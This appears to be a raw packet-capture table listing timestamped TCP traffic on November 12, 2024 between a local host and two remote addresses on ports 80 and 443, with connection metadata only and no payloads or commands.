Nov 12, 2024 08:30:16.215008020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215017080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215032101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215039015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215065956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215816975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215828896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215838909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215851068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215862989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215871096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215878010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215889931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215893984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215903997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215910912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215920925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.215949059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.216701031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216713905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216726065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216737986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216748953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216748953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.216761112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216770887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.216773033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216784954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216790915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.216799974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.216814041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.216839075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217602968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217616081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217652082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217829943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217843056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217854023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217865944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217880011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217885971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217889071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217899084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217916965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217920065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217932940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217933893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217943907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217945099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.217959881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.217988014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.218878031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218889952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218902111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218914032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218926907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.218926907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218940973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218952894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218957901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.218965054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218966007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.218977928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.218990088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219012976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219834089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219846964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219856977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219868898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219878912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219880104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219892025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219902992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219904900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219918013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219919920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219932079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.219944954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.219970942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.220726013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220737934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220747948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220758915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220769882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220778942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.220782042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220792055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220798969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.220804930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220809937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.220815897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.220838070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.220863104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.221610069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221621037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221631050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221642017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221652031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221662045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.221663952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221673965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221683025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.221685886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221695900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.221698046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.221731901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.221741915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.222419024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222431898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222444057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222454071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222465038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222472906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.222496986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.222924948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222950935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222960949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222971916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222973108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.222985029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.222995043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.223021030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.223088980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223100901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223110914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223120928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223133087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.223133087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223146915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.223170996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.223985910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.223997116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224004984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224015951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224025965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224036932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224037886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224049091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224052906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224060059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224069118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224071026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224083900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224087954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224111080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224133015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224925995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224936962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224946022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224957943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224967957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224980116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.224981070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.224992037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.225003004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.225003958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.225013971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.225014925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.225027084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.225042105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.225068092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.225087881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:17.296122074 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.296183109 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.296252012 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.297802925 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.297823906 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.453402996 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.453454971 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.453511000 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.453728914 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.453742027 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.536626101 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.536664963 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.536729097 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.536973953 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.536983967 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.590411901 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.590464115 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:17.590521097 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.590778112 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:17.590790033 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.149916887 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.150099993 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.150108099 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.151421070 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.151473045 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.152678013 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.152739048 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.152837992 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.152843952 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.201283932 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.299604893 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.299875975 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.299890995 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.300900936 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.300962925 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.301400900 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.301457882 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.301539898 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.301546097 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.342814922 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.381707907 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.381969929 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.381982088 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.383064032 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.383132935 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.383491993 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.383543015 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.383748055 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.383753061 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.423783064 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.423829079 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.423887014 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.423909903 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.423953056 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.423998117 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.424004078 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.430653095 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.433273077 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.433339119 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.433403015 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.450619936 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.451683998 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.451694012 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.452766895 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.452830076 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.453177929 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.453248978 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.453367949 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.453376055 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.465524912 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.465540886 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.468750954 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.468786955 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.468905926 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.493158102 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.734426975 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734622955 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734667063 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734698057 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734730959 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734755993 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.734755993 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.734765053 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734854937 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734885931 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734905958 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.734910965 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.734956980 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.735560894 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.735632896 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.735639095 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.736597061 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.783020973 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.783104897 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.783166885 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.783179045 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.783222914 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.785866976 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.790040016 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.790045977 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.790345907 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.790385962 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.790481091 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.790493965 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.790544987 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.790946960 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.791013002 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.791188002 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.791240931 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.791255951 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.798877001 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.841778040 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.842201948 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.842220068 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.899216890 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.899635077 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.902564049 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.902604103 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.902681112 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.902688980 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.902740955 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.905786991 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.909035921 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.909125090 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.909133911 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.915668964 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.917690039 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.917707920 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.958590031 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:18.961570024 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:18.961579084 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.008594990 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.016567945 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.019402027 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.022182941 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.022190094 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.023626089 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.023709059 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.023776054 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.023782015 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.023847103 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.025832891 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.032692909 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.034189939 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.034195900 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.086715937 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.086736917 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.133373976 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.133408070 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.133464098 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.133472919 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.134193897 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.136275053 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.138906002 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.140286922 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.140336990 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.140343904 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.140419006 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.140423059 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.149218082 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.149280071 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.149334908 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.149341106 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.149401903 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.192069054 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.242966890 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.242980957 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.250188112 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.250525951 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.250535011 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.253016949 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.253160000 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.253170967 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.257046938 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.258202076 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.258208036 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.259433031 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.262207031 CET	49710	443	192.168.2.5	142.250.185.100
